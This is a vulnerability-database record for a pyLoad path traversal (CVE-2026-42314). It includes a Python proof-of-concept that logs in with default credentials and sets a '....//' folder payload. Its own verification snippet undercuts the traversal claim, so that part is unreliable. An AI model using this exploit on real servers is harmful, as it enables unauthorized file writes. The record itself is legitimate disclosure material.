{"id":"CVE-2026-42314","aliases":["CVE-2026-42314","GHSA-97r3-5w84-r4q8","PYSEC-2026-128"],"related":[],"kind":"vulnerability","state":"published","title":"pyLoad: Path Traversal via Package Folder Name","summary":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.","source":"cvelist"},{"lang":"en","text":"Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d &\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains '..' sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad's sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content","format":"markdown","source":"ghsa"},{"lang":"es","text":"pyLoad es un gestor de descargas gratuito y de código abierto escrito en Python. Antes de 0.5.0b3.dev100, los nombres de las carpetas de paquetes se sanitizan utilizando un reemplazo de cadena insuficiente. El patrón .... / / se convierte en .._ después del reemplazo (eliminación parcial), dejando .. lo cual puede ser explotado cuando la ruta es resuelta posteriormente por el sistema operativo. Esta vulnerabilidad está corregida en 0.5.0b3.dev100.","source":"nvd"}],"published":"2026-05-05T21:13:08.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.5.0b3.dev100","status":"affected"}],"vendor":"pyload","product":"pyload","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev100"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.5.0b3.dev100"}],"vendor":"pyload-ng_project","product":"pyload-ng","cpe":"cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev100"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"pysec"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42314","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pyload/pyload","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-128.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-11T18:33:35.965Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42314","url":"https://www.cve.org/CVERecord?id=CVE-2026-42314","licence":"CVE Terms of Use","modified":"2026-05-11T18:33:46.606Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-97r3-5w84-r4q8","url":"https://github.com/advisories/GHSA-97r3-5w84-r4q8","licence":"CC-BY-4.0","modified":"2026-06-08T20:00:11.422Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42314","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-128","url":"https://osv.dev/vulnerability/PYSEC-2026-128","licence":"CC-BY-4.0","modified":"2026-05-20T09:19:16.067Z"}],"updatedAt":"2026-11-25T22:59:21.226Z","epss":{"score":0.00342,"percentile":0.29684,"date":"2026-12-01T12:00:22.000Z"}}